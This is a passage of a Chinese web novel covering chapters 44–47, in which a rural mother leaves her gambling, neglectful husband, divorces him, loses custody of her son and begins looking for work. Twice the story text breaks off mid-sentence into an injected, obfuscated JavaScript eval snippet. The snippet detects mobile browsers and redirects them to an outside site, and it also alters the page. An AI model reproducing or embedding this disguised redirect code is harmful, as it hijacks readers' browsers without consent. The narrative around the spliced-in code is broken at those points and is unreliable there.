但转念一想，自己又何尝不是？赵国亮不正是自己的丈夫吗？自己难道不就是年轻版的杨红翠？ 她只是平淡地应了一声，给赵无恙喂完饭后，便抱着孩子上楼涂药。随后，自己也疲惫不堪地倒在床上迷迷糊糊睡着了。睡梦中，她似乎听到楼下传来杨红翠和赵国亮的声音，大概是婆婆在教训儿子吧。但她已经无力去关心了。 再次醒来已是晚上，是赵国亮把她叫醒的。他正一脸“慈爱”地抱着已经醒来的赵无恙，柔声哄着：“乖女不哭，爸爸明天带你去买棒棒糖，买玩具熊，好不好？”若是旁人看了这一幕，肯定忍不住赞扬，真是父爱满满。 他没有什么要对自己说的吗？ 好吧，得到的又是“对不起，是我手机没电了，我错了”之类的道歉。王秀梅也什么都不想说了。反正赵无恙现在也没出什么大事。 晚饭时，一家人终于凑齐了。虽然赵小英和赵智民今年没回来过年，不过王秀梅听到赵兴强打电话，大概是他们汇了过年钱回来。 饭桌上，大家像什么事都没发生过一样，正常地吃饭，正常地聊天，讨论着过年哪些亲戚要来串门，该准备些什么饭菜；又说家里要请客，请赵二叔、赵三叔两家来家里团聚……上午的争吵烟消云散，气氛平静祥和。 王秀梅看着杨红翠吃完饭，又开始收拾碗筷，接着去喂猪，然后又忙着灌香肠……往年这些事，作为儿媳的她都会主动帮忙。但今年，她借口要照顾赵无恙，杨红翠也没开口叫她。赵家父子早已带着赵安然去了隔壁李家，李自山不知从哪儿弄来一块野猪肉，大家都新奇地跑过去尝鲜。 王秀梅要照顾赵无恙，杨红翠要忙着家务，所以两人只能稍微晚点在过去。王秀梅看着忙得团团转的杨红翠，她一边跟自己念叨着请客要买哪些菜，一边又操心骂着赵兴强这忘了买那忘了买。 她感到一阵恍惚：为什么这些琐碎繁杂、维系家庭运转的事，都是女人在操心？男人吃完饭，碗一推，什么都不用管；请客吃饭、人情往来，他们也不用费心。但是，男人却依然是这个家的“主心骨”，如果这个家里若没个男人，很多亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最大的失望，莫过于对赵国亮，他可是自己的丈夫，是孩子的父亲，是枕边人啊！只要自己不说，他就什么都意识不到。王秀梅突然觉得，这样的婚姻没有什么意思。 夜深人静时，王秀梅一个人抱着赵无恙，轻柔地把孩子哄睡。关了灯，她躺在旁边，眼泪不自觉地从眼角滑落。 她觉得自己像一只鸟，直飞一直飞，终于找到一个地方落脚歇息。可歇下后才发现，这个地方竟是一个笼子，将她牢牢困住。 现在，她只想挣脱出去，再看看那片她曾经自由翱翔的天空。 44. 离婚（1） 2011年2月17日，农历十五，元宵节。 今天也是乡里赶大集的日子。很多人都是赶上半场，下半场各村的人都赶紧回家去了。杨红翠提着肉和抄手皮回去，今天晚上吃抄手，让王秀梅叫上赵国亮一起早点回家。 在服装店关门后，王秀梅给赵国亮打了电话，关机中。她牵着孩子走到录像厅，发现也关门了，随后她给许耀刚打了电话过去，接通了，但是背景音里传来麻将碰撞的哗啦声，还有赵国亮兴奋的一句喊声：“杠上花！” “刚子，麻烦你帮我给阿亮说一声，他妈叫他早点回家吃饭，我现在在录像厅等着他。”王秀梅面无表情的说着，对面传来了热闹的声音，在嘈杂声中听清了刚子的传达。 “嫂子！听见了！亮哥说他手机没电了，一会儿就过来！” 王秀梅站录像厅门口等了十几分钟，人还没来。随后她拿出备用钥匙打开门走进去，环顾四周。这里是她和赵国亮第一次约会的地方，她现在都很清晰地记得那天发生的一点一滴。 她走到周星驰电影的架子前，翻出《食神》的碟片。关灯，放进影碟机，按下播放键。 荧幕的光在黑暗中亮起。赵无恙安静地蜷在她怀里，看了一会儿便睡着了。年幼的孩子没有发现，母亲看电影时一直无声地流泪。她紧咬着下唇，怕哭声惊醒孩子，只能压抑着，任由泪水滑过脸颊。 电影结束了，96分钟过去了，录像厅里还是只有自己和怀里的孩子。 电视已经黑屏，王秀梅擦去眼泪，恢复正常，静静地在没开灯的房间中沉思。随后，王秀梅抱着孩子走出录像厅，看了一眼尚未完全黑透的天空，走向回家相反的道路，似乎下定某种决心。 另一边，杨红翠一个人在厨房里剁肉、和馅、包抄手。所有的活儿都忙完了，发现家里依旧空荡荡的。她忍不住低声抱怨着：“挨个都打了招呼早点回来，结果还是只有我一个人，都是些吃现成的！” 杨红翠是目前家里唯一没有手机的大人，她原本想着自己也没有啥事情需要打电话，另外也是由于手机太贵了所以没有买。她只能去隔壁请李自山给赵兴强回个电话，催他赶紧回家。 没隔多久，赵兴强带着赵安然磨磨蹭蹭地回到家，一进门，杨红翠就让他赶紧给王秀梅和赵国亮打电话，结果一个关机，一个无人接听。 杨红翠见状心里又开始冒火，怎么一个个的吃饭都要三请四请！请半天都请不来！赵国亮也就算了，现在王秀梅怎么也习得这个不好的脾气！ 赵安然在一旁闹着饿了，杨红翠叹了口气，不再等，招呼爷孙俩先吃。随后又给自己煮了一碗，不再管其他人了。 晚上十二点多，赵国亮终于回来了。他以为家里人都睡了，自己跑到厨房煮了碗抄手吃，洗漱完上楼。推开卧室门，床上空无一人。他愣了一下，也没多想，由于太困了，倒头就睡。 第二天早上，杨红翠就着昨天剩下了许多的抄手，叫全家起床吃。他突然脑海里闪过一丝不详的预感，赶紧给她打电话，但是仍然是没有接。他慌忙下楼问：“妈，你看见秀梅了吗？” “没啊，她还没起吧？”杨红翠没反应过来。 “她昨晚根本没回来！无恙也不在！”赵国亮声音有点发紧，赶紧翻看手机，只有昨天下午王秀梅的几个未接来电。他担心她是不是出了什么事。 听到儿子的回答，杨红翠也意识到了不对劲，是一种与儿子截然不同的预感。她不安起来：“你赶紧给秀梅她爸打个电话，看是不是在那边？” 赵国亮回过神来，立刻拨通王大富的电话。得到确认后，他松了口气：“哦，在啊，在就好……”悬着的心刚放下，杨红翠却觉得事情透着说不出的怪异，这是属于女人的直觉。她向儿子催促道：“吃了早饭赶紧去，把秀梅和孩子接回来！” 王家这边，张红英昨晚看着女儿抱着外孙女一声不吭地回来，心里就诧异，但女儿没有表露心事也没过问，她也只当是回来陪他们过元宵。可早上接到女婿的电话询问女儿的下落，她才意识到不对劲。 “你跟阿亮吵架了？”张红英一边盛饭，一边试探，“夫妻过日子嘛，哪有舌头不碰牙的？床头吵架床尾和。你吃了早饭就赶紧带孩子回去，别让他们着急，啊？” 王大富也放下筷子，担忧地问：“到底出啥事了？闹这么大别扭？” 王秀梅看着父母关切却带着不解的眼神。他们理解不了，她也不想费力解释。“没吵架，我现在连架都懒得吵了。” 王大富和张红英对视一眼，再一同望着从小就懂事的女儿，以为她只是闹性子了，没什么大不了。再说，他们对赵国亮这个女婿很满意，那孩子也对他们有孝道，逢年过节礼数周到，钱也没少给，为人处事都很出色。当初儿子王秀山的事情还是他帮忙跑前跑后，都觉得女儿找了个值得托付的人。 早饭过后，张红英扛着锄头下地忙活着，王大富继续在坝子里锯木头，帮人打一张桌子，都没太把女儿的事放在心上。 张红英在地里远远看见女婿提着大包小包的东西走来，心里一喜，赶紧扔下锄头上前迎接：“阿亮来了！秀梅挺好的，就是昨天过来陪我们过个元宵，秀山过年也没回来……”她忙着替女儿圆场。 “秀梅！阿亮来了！”还没到家门口，张红英就扯着嗓子高声喊着，屋里却没有任何回应。 王大富也放下锯子，走到路边迎接。赵国亮上前递烟，寒暄道：“爸，忙着呢？” “啊，给半山腰的老李家打张桌子。”王大富接过烟点上。 “我看你这木头，看着不赖，工钱不少吧？”赵国亮说着客套话。 张红英给女婿倒了杯热茶，转身进了里屋，压低声音对王秀梅说：“阿亮来了，快出去见见，别耍小孩子脾气了。” 还没等王秀梅说话，赵国亮已经跟了进来。张红英赶紧抱着赵无恙出去，给小两口留下空间，好好交流。 “秀梅，你怎么了？”再怎么心大的人，赵国亮也看得出王秀梅对自己冷淡，从他进来到现在，她一句话都没说。 见她不搭理，赵国亮赶紧使出自己的哄人大法，一抱二认错：是不是我哪里做错了？你别不理我啊。” 王秀梅抬起眼，看着眼前的男人。他的样貌和初见时并无太多差别，依旧是那个俊朗的青年。她的目光扫过桌上那面圆镜，镜中的自己双眼无神，空洞黯淡，曾经白皙的脸庞也失去了光，她已经好久没有给自己梳妆打扮了。她将目光从镜子里收回，重新定格在赵国亮脸上，平淡地吐出五个字： “我们离婚吧。” 震惊！除了震惊还有巨大的疑惑！ 赵国亮像是被雷劈中，眼睛瞪得溜圆，半天没从“认错”的状态切换过来，只喃喃重复：“你说什么？离婚？你在开什么玩笑？” “没有开玩笑。我说，我们离婚吧。” 再一次听到从眼前妻子口中传来平淡的话，让赵国亮终于清醒。但是他还是不能理解妻子为什么离婚：“为什么要离婚了？我有做错什么吗？给我一个理由？” “你没有做 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“什么叫心累？我真的不懂。我看你是在无病呻吟，你能不能具体一点告诉我，你到底怎么了？或者我哪里做得不好，我改还不行吗？” 赵国亮强忍着怒气，试图压下去自己的声音，但还是惊动了在外面的两个人。 王大富和张红英听到女婿的声音，不明就里的赶紧进来看看。一进门，就看到女儿面无表情地盯着镜子里的自己，女婿则满脸通红，强忍着怒气。两人又对视了一眼，张红英赶紧上前安抚女婿的情绪：“阿亮，怎么了，有事情大家好商好量，秀梅她不懂事，你多包容包容。”王大富则走到女儿身边：“秀梅，你也真是，多大个人了，还整天跑回娘家来，有事情你得跟阿亮商量商量，不要一个人闷着。” 张红英继续在两人中当着和事佬，她是过来人，夫妻之间哪有不吵架的。但是赵国亮的一句话还是让她彻底僵住： “她要离婚。” “什么？！” “什么？！” 张红英和王大富同时震惊地看向女儿。张红英几步上前抓住王秀梅的手：“秀梅！你疯啦？好端端的离啥子婚？” 在她眼里，赵国亮已经是非常好的女婿。自己女儿跟着她没有吃苦，连家里农活都很少干，家里婆婆也没有说闲话。这在农村来说已经是嫁的非常如意了，这在王坪村没有不羡慕王秀梅的。 “她说她心累了，所以要离。” 赵国亮仍旧在一旁插话，试图让岳父岳母发现这个可笑的离婚理由。事实也如他所料，两个老人也不理解她的心累。 张红英苦口婆心：“秀梅啊，妈是过来人。是不是觉得两个孩子小，带起来很累，觉得心里苦？我当初也是这样带着你和秀山长大的，等孩子大了就好了，你可不能冲动啊！” 接着是王大富的追问：“心累？你到底遇上啥事了？心为啥累？你得说出来，大家才知道咋办啊！” 王大富知道自己女儿的性格，她一向都是超出同龄人的成熟，从小就很懂事，遇到事情就隐忍，不到万不得已她不会说出这样的话。但他还是不希望女儿离婚，毕竟才24岁，还年轻，婚姻都是这样磕磕碰碰过来的。 不过王大富有句话触动到了王秀梅。 “心为什么累？” 是从什么时候开始的？她说不清。心为什么累？她也无法三言两句的解释清楚，她已经没有什么力气去为自己辩驳什么了，但是眼泪还是先一步不受控制地流了出来。 45. 离婚（2） “我就是想离婚了。” 这句话比任何解释都更有力量，也更让在场的五个人感到无力。他们需要一个清晰的理由，一个能让他们理解并“解决”的问题，而不是这种抽象又决绝的宣告。 五个人？ 原来，除了王大富，张红英和赵国亮之外，恰巧门口的赵兴强和杨红翠也匆忙赶来听到了，只是屋里的几人都无心顾及门外的两人。 原来是杨红翠越想越不对劲，于是在儿子走后，她决定还是拉着赵兴强去亲家看一下事情的情况。结果刚到门口，“离婚”两字直接冲击她的天灵盖，吓得她赶紧冲上去安抚王秀梅。 “秀梅啊，我晓得！我晓得亮娃不是个东西！整天就知道打牌、玩儿！你一个人忙店里、还要带孩子是很辛苦，我们都懂！可你想想，他没犯啥大错啊！这些坏毛病都能改的！” “你给我滚过来！给秀梅保证！以后再也不那样了！”杨红翠急切地劝着，一边指着自己儿子，让他赶紧认错。 赵国亮也赶紧过来安抚王秀梅的情绪：“秀梅，我保证！我以后哪里都不去了。我以后跟你一起顾着店里，一起带孩子。” “对啊，秀梅！”杨红翠见王秀梅眼神似有松动，连忙祭出“杀手锏”，“你想想两个孩子，你要是离了，这两个孩子可怎么办？你就忍心抛下他们两个吗？都说有妈的孩子是个宝，没妈的孩子像根草，你可以为自己考虑，但是你得为两个孩子着想，你们离婚了他们该怎么办？” 王秀梅红着眼抬头看着杨红翠，在所有的劝说中，只有杨红翠戳中了她的软肋。想离婚的念头也不是一时冲动，她每天看着两个孩子无忧无虑的，她的心就在告诉自己：在坚持坚持，就当为了孩子。 所以，在此刻她也被杨红翠说动了。 但是，她也清楚地明白，自己被杨红翠用孩子“绑架”了。如果是为了孩子留下来，那么她的人生将会永远困住这里。 她不知道离开后会怎样，但她无比确信，留下来，她只会越来越痛苦。她不相信自己有能力改变现状，改变这一切。她连改变自己都做不到，何况改变他人？ “你们别劝了，”王秀梅的声音带着一丝不易察觉的颤抖，却异常坚定，“这婚，我离定了。两个孩子……我们共同抚养。” “啪——！” 一记响亮的耳光，狠狠扇在王秀梅脸上！ 张红英气得浑身发抖，指着女儿厉声斥骂：“离婚？！离傻子婚！你给我不准离！你敢！” 从小到大从未挨过打的王秀梅，被母亲这猝不及防的一巴掌打懵了。全世界都可以反对她，但唯独母亲不行！这一巴掌打碎了她最后的强撑，压抑太久的委屈、痛苦、无助瞬间爆发。 “妈——！”她捂着脸，崩溃地哭喊出声，像个被抛弃的孩子，“妈！你看看我！我求求你仔细地看看我！我怎么会变成这个样子了？！你不是问我为什么离婚吗？” 她猛地指向赵国亮，眼泪汹涌：“无恙被鸡汤烫伤那天，我给他打了几十个电话，一个电话都没接！下着雨，我一个人抱着孩子求人送我们去卫生院，孩子发高烧了，我一个人抱着她在过道里输液，他的电话还是打不通！你知道那一晚上我是怎么熬过来的吗？！他呢？！他在哪儿？！在牌桌上！在喝酒！哪怕在除夕那天，都是我一个人守着孩子！他看都没多看一眼！” “是！他没犯啥大错！他没杀人放火！没打架斗殴！可我受够了！我受够了去网吧找他，受够了去游戏厅拽他，受够了在牌桌上把他拉出来，我更受够了自己像个泼妇一样，只有发火生气他才会跟我回去！回去了还是吵！” “妈！你看看我！”她指着自己泪流满面的脸，声音嘶哑，“以前的我，是不是这样的？你看看我！我怎么会变成这样了？！” 张红英听着女儿的哭诉，看着她因极度痛苦而扭曲的脸，那满脸的泪水和从未有过的歇斯底里，让她想好的所有劝和都堵在了喉咙里。她只有靠在桌子上，也忍不住哭了起来。 杨红翠赶紧接上话茬，语气带着过来人的口吻：“秀梅，这些都能改！亮娃会改的，你说的这些他都会改的！你这孩子，就是啥事情都憋到心里，就太累了。亮娃这孩子，我是知道的，小毛病很多，但是大问题是绝对没有的。你后面管着他！管严点！他肯定能改好！” 其实杨红翠内心了解王秀梅的崩溃，曾经的她何尝不是这样过来的？但是在自己的管教下，不也坚持下来了吗？婚姻里的男人都是需要管的，只要管好了，女人就过得幸福了。 道理都是这样的道理，可是杨红翠的这番话在王秀梅眼中就是一个笑话。在杨红翠眼里，自己生气怒骂自己的丈夫，丈夫妥协了，达到自己的目的了，那么自己就成功了。但是在王秀梅的眼里，要达到自己的目的，需要通过和丈夫频繁地吵架，需要丈夫的妥协，这何尝不是一种悲哀？ “管？我为什么要管？为什么他一个成了家、当了爹的男人，要我像管儿子一样去管？！我就是不想管了！我管不动了！”王秀梅猛地抬头，泪眼婆娑地看向杨红翠，嘴角扯出一个讥笑。 杨红翠被噎住，意识到说错了话，刚好撞她枪口子上了，急忙改口：“不不不！不用你管！他自己能改好！他自己能全改好！你完全不需要管！” 王秀梅只觉得这话无比可笑。 与此同时，在一旁的离婚当事人，赵国亮听到王秀梅的控诉，久久不能平复。原来这么久以来，她一直这么厌恶自己的所作所为？那她跟着自己去网吧干嘛？跟着自己去游戏厅干嘛？跟着自己打麻将干嘛？为什么不说？为什么不反驳？自己所有的行为都是得到她的许可，结果现在才得知她厌恶这一切，还成了她离婚的理由。心里开始觉得这一切很可笑。 他承认孩子烫伤那天没接电话是他的错，事后他也道歉了，手机也再不敢没电出门。可之前那些？他无法理解！他玩这些都是在空闲时候，没有耽误正事！他根本不知道王秀梅到底想要什么！他做什么她才能满意？！ 看着王秀梅那冷漠得近乎绝情的眼神，赵国亮积压的不解和愤怒瞬间冲垮了理智。既然她想离就离呗，自己在这低三下气求人干什么？难道自己离了她就活不了吗？他嘴角扯出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788792|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个冷笑，从牙缝里挤出两个字： “离吧。” 这两个字让四个老人的目光瞬间从王秀梅身上转移到赵国亮身上。一直没说话的赵兴强猛地一拍桌子，厉声呵斥：“赵国亮！你到底在说啥狗屁话？离离离！离啥子离！” 赵国亮像被点着的炮仗，大声吼了回去：“她既然觉得这日子过不下去了，要离就离！我他妈就差给她跪下了！她铁了心要离婚，那就离！离了谁还过不了？！” 他把所有的憋闷和怒火都吼了出来，好像这场离婚全是王秀梅一人造成的闹剧。他也受够了！离了婚，他倒要看看谁离不开谁！ 在场的所有人都被他的语气震慑了，除了杨红翠听出了儿子的冲动，知道他有赌气的成分。但她看了王秀梅那心如死灰、油盐不进的样子，她知道挽回无望了。王秀梅看着温柔，可是骨子里却是有傲气的，有很坚定的性格。 “造孽啊！这是造的啥子孽啊！”好好的一个家就变成了这样，儿子离婚了，村里那些人不知道得把他们家说成什么样子。一想到这里，她就忍不住嚎啕大哭起来。 赵兴强看着眼前局面，知道大势已去，他也没有什么可说的。他阴沉着脸，目光锐利地扫过眼前的王家人，尤其是王秀梅，斩钉截铁地宣布：“赵安然，必须留在赵家！” 王秀梅听到儿子的名字，身体微微一颤。她缓缓抬手，抹去脸上的泪痕。走到这一步，她早就预见到了这个结果。如果是两个女儿，她或许还能放手一搏，去争一争，但赵安然是儿子，她带不走。能把赵无恙带走，已经很不错了。她知道赵兴强了解她的想法，也表明了态度。再闹下去，恐怕一个孩子都带不走。 她深吸一口气，迎着赵兴强犀利的目光，声音异常平静：“好。赵无恙跟着我。赵安然留在赵家。” 一场关乎家庭存续的谈判，在哭闹争吵中达成了协议。两家人在一上午，从亲家变成了比陌生人还要疏离的关系。再待下去也是尴尬，于是赵家人冷漠地离去。 王秀梅看着沉默不语、神情复杂的父母，默默地起身。她还要回赵家收拾东西，办理离婚手续，以及……交出那个小家里她曾掌管的一切。 一场离婚的闹剧，在大哭与大吵中落下帷幕。唯独两个孩子，作为这个家庭最重要的成员，却全程未参与。 此刻，赵安然还在和隔壁的小伙伴们追逐打闹。今年，他就要就满六岁了，懵懂无知，完全不懂“离婚”意味着什么，更不知道即将到来的分离。 而赵无恙，这个不满四岁的小女孩，却比哥哥敏感得多。堂屋里大人们激烈的争吵早已将她惊醒。她悄悄躲在门后，小小的身体紧贴着门板，安静地窥探这一切。她不懂“离婚”，但她能感觉到巨大的悲伤和变故。这不是她第一次看到妈妈无声地流泪，但这一次，当爷爷奶奶和爸爸离开时，没有一个人看她一眼，没有一个人来找她。巨大的被遗弃感笼罩着她。 她很害怕，想哭，想喊，但看着那些决然离去的背影，她最终只是死死咬住嘴唇，没有发出一丝声音。小小的身子缩在门后的阴影里，就这样被所有人遗忘了。 46. 勇气 王秀梅跟在赵家人后面回到那个熟悉的“家”。回来的途中也有街坊四邻给她打招呼，她勉强挤出一点笑容，像往常一样应着，脚步却快速走动。 回家后，没有看到赵安然，心里像被针扎了一下。她强忍着难受，看向坐在堂屋的赵兴强和杨红翠：“安然呢？” 赵兴强眼皮都没抬，杨红翠正剁着猪草，手里的刀顿了顿，硬邦邦地甩过来一句：“跟他二爷爷家孩子玩去了。”语气里带着明显的不耐烦和疏离。 王秀梅没再追问，默默转身上楼。赵国亮正靠在二楼的阳台栏杆上抽烟，背影僵硬。听到脚步声，他没回头。王秀梅也没看他，径直走进卧室。 打开衣柜，居然发现她的衣服并不多。婚后心思都在孩子和店里，再加上在农村店里不像城里上班那会需要特别注意自己形象，所以她很少给自己添置衣物这些。她很快把自己的衣物塞进一个旧行李箱。赵无恙的东西却不少，小衣服、小玩具、奶粉罐……她找出一个半旧的编织袋，一件件仔细地放进去。 目光扫过梳妆台，上面立着几张照片。有一家四口的合影，有两个孩子各自的百日照、周岁照。照片上的赵安然笑得无忧无虑。王秀梅一遍又一遍的抚摸着赵安然的小脸，她深吸一口气，最终还是挑出了两个孩子和自己的单人照、合影。但凡有赵国亮的照片，她都留在了原处。那个玻璃相框里嵌着的全家福，她最终没有碰。 行李收拾好了，赵国亮已经不在阳台上。王秀梅一手提着沉重的编织袋，一手拉着行李箱，有些吃力地往外拖。在楼梯转角，正撞上要上楼来的赵国亮。两人目光短暂对上，赵国亮眼神冷漠得像看陌生人，随即移开视线，侧身让她过去，好像她挡了路但自己好心给她腾出了位置。按照往常，她可以随意呼叫他的名字，指挥他提下去。但是此刻，她还是一个人费力地把行李拖下楼。 等她收拾妥当，看着赵家父子在椅子上安静的坐着抽烟，电视的声音成了背景。 “银行卡，密码是你生日。店里所有的钱都在里面。这是进货的单子，还有赊账的本子，每一笔支出和收入都记清楚了。然后店里的还有账本和一些其他本子，你记得要收好。”她的声音很平静，没有一丝波澜。 这时，杨红翠在屋外剁猪草的声音停了。她撩起沾满草屑的脏围裙擦了把手，走进来。看到桌上的银行卡和账本，她紧绷的脸色似乎轻松了一下，不易察觉地松了口气。她瞟了一眼赵兴强，老头子依旧沉着脸抽烟，但也没说什么。 孙子肯定是跟着赵家的，财产她也一分没拿。赵兴强和杨红翠心里那点最现实的顾虑算是落了地，倒也没有什么可挑剔的。 与他们不同，赵国亮的心思根本没在这上面。他还在那股被离婚的赌气里没出来，满脑子都是“离就离，看谁后悔”。关于财产，乃至关于孩子，此刻在他心里都成了这场意气之争的模糊背景。 王秀梅再三思索，看着眼前众人：“我想……跟安然说几句话再走。” “说什么？”杨红翠立刻截住话头，语气尖刻，“你跑去告诉他你不要他了，要带妹妹走了？你真是好狠的心。既然要走，就利索点走！别让孩子心里更难受！” 是啊，她能说什么？告诉一个五岁多的孩子，妈妈要走了，不能带你？先放手的是她这个母亲，她又有什么资格再去求得孩子的理解？她又能用什么话去抹平他这注定要留下的伤痕？ 她沉默地垂下眼，不再言语。拉起行李箱，提上那个沉重的编织袋，头也不回地走出了赵家。赵国亮掐灭烟，也跟了出来。 去乡镇人民政府的路不远，最多二十分钟吧，两人却走得异常漫长。一前一后，隔着一小段距离，谁也不说话。 乡政府里的工作人员，不少都是村里或乡里相熟的。看到他们俩一起进来办理离婚手续，有人露出惊讶，有人眼神闪烁，还有人低声交头接耳，谁也没想到他俩居然会离婚。王秀梅和赵国亮此刻都清楚，关于他们离婚的消息，很快就会像风一样刮遍清泉乡的每个角落。但两人都对这些目光视若无睹。 填表，询问，调解，最后是签字盖章。整个过程，王秀梅都异常平静，动作利落，眼神里没有任何犹疑或留恋。赵国亮一直偷偷观察着她，试图从她脸上捕捉到哪怕一丝一毫的不舍或后悔。哪怕是一个表情和一个眼神，只要一点点，他想，只要她流露出一点点，他……都可以马上放弃签字。 可是没有。她的表情很坚决，签字时手稳得没有一丝颤抖。这种彻底的冷漠和坦然，像盆冰水浇灭了赵国亮心里最后一点侥幸的火星。他感到一种被彻底否定的羞辱。为了维持那点可怜的自尊，为了不让自己处在下方，他也只能强撑 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但这些混乱的念头冲到嘴边，却变成了硬邦邦的一句：“到时候再说吧！” 说完，赵国亮先行一步，故作潇洒地的身离开。既然如此，自己也不必留念，没有回头。 王秀梅站在原地，看着那个曾经熟悉无比、如今却决然远去的背影，终于不再强撑着，让眼泪肆意地滑落，瞬间模糊了视线。她赶紧低下头，用袖子胡乱擦了一把。也转过身，拖着沉重的行李箱和编织袋，朝另一个方向走去。 轮子在坑洼的水泥地上发出单调的“咔哒”声，硌得她掌心生疼。她不知道离婚会给两个孩子带来多大的伤害，也不知道自己离开赵家、离开安然，未来的路究竟会怎样。她甚至不敢去想，离开就一定能过得比现在好。 但此刻，她只知道一件事：如果不离，留在这个让她心力交瘁、看不到一丝光亮和希望的牢笼里，她这一生，注定是过不好的。那既然如此，为何不离开了？ 留下来，肯定过不好。 离开，或许艰难，但至少还有一丝可能。 既然还有可能，那就走吧。 不要一直责怪过去的自己，因为她在雾里也很迷茫。 能在迷雾中挣扎着做出选择，那时的她，已经用尽了所有的力气和勇气。 47. 工作 王秀梅拖着沉重的行李箱和编织袋，一步一步走回王家。父母正沉默地坐在堂屋的长凳上，空气沉重得几乎凝滞。他们无法理解女儿的决定，但也清楚她的倔强。事已至此，除了接受，他们无能为力。 王大富和张红英两人都是王坪村出了名的老实人，本分的靠着种庄稼和干木匠养家糊口。王大富也是村里少有的好脾气男人，没有农村常见的大男子主义，也很少在牌桌上游走，很多时候都在家里摆弄他的木工。 张红英也是很文静的农村妇女，至今做过最出格的事情就是上午给了女儿一巴掌，此刻的她还沉浸在愧疚之中。她一辈子没读过书，到了年纪就被介绍给王大富当媳妇儿，两人就这么平淡的走过来，由于两人也没有学问，脑子也不及村里其他人活络，因此对孩子教育、成长也是顺其自然。 对他们而言，唯一的意外就是两个孩子。王秀梅和王秀山，都没有继承父母平凡的长相，反而出落的很标致。另外性格也是迥异于父母的温吞，俩孩子都是有主见、性格刚硬、脾气倔。只不过王秀梅是内敛沉稳，王秀山是外放张扬，但是俩人心底里都透着一股不服输的要强劲儿。 外人只知道王秀山是个鬼精灵，长大后出去混社会，一看就是不好惹的人，跟老两口的憨厚老实完全不搭边。但是说起王秀梅，觉得这孩子除了那副好相貌，性格多多少少还是从了父母。她乖巧听话，从小帮忙干家务，街坊邻居需要帮忙的二话不说就上前干了，也不说人闲话。要不是她早早嫁给了赵国亮，上门提亲的人怕是要踏破王家的门槛。 可如今，这个“懂事”的女儿，竟一声不响地离了婚，带着外孙女回来了。张红英和王大富心里还是忍不住担忧。与赵兴强与杨红翠不同，他们不怕村里人嚼自己的舌根，只怕那些流言蜚语撒向女儿和外孙女。 在思想本就落后的山村里，一个离了婚还带着孩子回娘家的女人，注定会成为村民茶余饭后议论的焦点。王秀梅和赵无恙，以后在村里该怎么抬头做人？一想到这些，张红英的眼泪就止不住地往下掉，王大富则重重地叹了口气，闷头卷着旱烟。 王秀梅默默走上前，从母亲怀里接过安静啃着饼干的赵无恙，紧紧抱在怀里，低头亲了亲女儿的发顶。看着父母愁苦的面容，她心里也像压了块石头。 这样的场景并不陌生。前些年王秀山在外面惹是生非，父母也是这样愁眉苦脸，暗自垂泪。那时，都是她这个长姐出面去处理弟弟的烂摊子，再回来安慰父母。可如今，再次让父母陷入这般境地的，不再是那个不懂事的弟弟，而是他们眼中一向“懂事”的自己。 当事件的主人公成为王秀梅的时候，她一时也是手足无措，不知如何处理。 王秀梅深知父母二人从没受过教育，从没离开过大山，一辈子活在旧社会的思想中，也知道他们担忧自己却帮不上什么实质性的忙。他们这种无能为力，让她不得不坚强起来，她来不及处理自己的情绪，当务之急是解决自己和孩子的生活，让父母知道：她是可以的，离婚了带着孩子也能活得很好。 那么第一步，就是找工作。 在老家肯定不行。她首先想到的还是去市里上班。回到商场卖衣服是最稳妥的，毕竟她在商场干过两年，自己又开了几年店。 她翻出手机通讯录，想起上次去市里进货时，特意去看过原来工作的商场。领导杨丽早已跳槽去了成都，好友李春阳几年前结婚后也辞了工，跟着她男人去了杭州打工。其他相熟的小姐妹，也早已断了联系。 思来想去，她还是拨通了李春阳的电话。 铃声响了很久，无人接听。 王秀梅有些懊恼，不该去求助她的。两人早已成家，虽然这些年还有联系，但她知道李春阳过得并不如意，嫁的远不如离婚前的自己。 李春阳嫁的男人家里很穷，是她自己在市里打工时认识的。李春阳不怕穷，可嫁过去才发现，她的婆婆非常的尖酸刻薄，不好相处。婆媳俩经常爆发吵架，连李春阳如此泼辣的性格，都被她婆婆用更恶毒的话压得抬不起头来，嫌弃她长得不好看，不像个女人，家务干得不好，结婚两年了孩子也生不出来，好不容易生了个孩子还被嫌弃说是女儿。这让李春阳在那个家过得很难受。 唯一庆幸的是，李春阳的男人知道父母过分，在这样下去他肯定妻离子散，于是他带着李春阳和年幼的孩子出门，远离老家。男人白天在工地干活，晚上去倒卖些小商品维持家用。没有父母的支持，他们过得很辛苦。所以王秀梅每年过年都会给孩子发红包和送一些新衣服，以作为心意。 在这种情况下，王秀梅怎么开得了口让李春阳帮忙？她知道只要开口，李春阳一定会帮，但这无疑会给她本就艰难的生活增添负担。 “铃铃铃——”电话突然响了起来，是李春阳回拨过来了。 “秀梅，怎么了？我刚从外面回来，没接到电话。今天带着娃去工地卖盒饭了，吵得很！”李春阳的声音带着喘，背景里还夹杂着小女孩的哭声，显然孩子就在身边。 王秀梅赶紧平复情绪，努力让声音听起来轻松：“哦，没事没事，就是好久没联系了，问问你最近咋样。” “还行吧，我这一年都在工地上卖盒饭，挣得还是可以，就是带着孩子不方便。而且她马上要上幼儿园了，总不能老跟着我们呆在工地上……唉，我还不知道要不要继续干。”李春阳的语气透着疲惫和无奈。 “哎呀，不跟你说了！娃刚才把地上的锅碰翻了！烫着没？！……秀梅，我先挂了，回头再打给你啊。”电话那头一阵手忙脚乱的嘈杂，随即被挂断。 家家有本难念的经，谁的日子都不容易。 她沉默地坐了很久，最终，翻出了另一个号码，深吸一口气，拨了过去。 “喂？秀梅？好久不见，难得你给我打电话。”电话那头传来一个略显意外但依旧干练的女声。 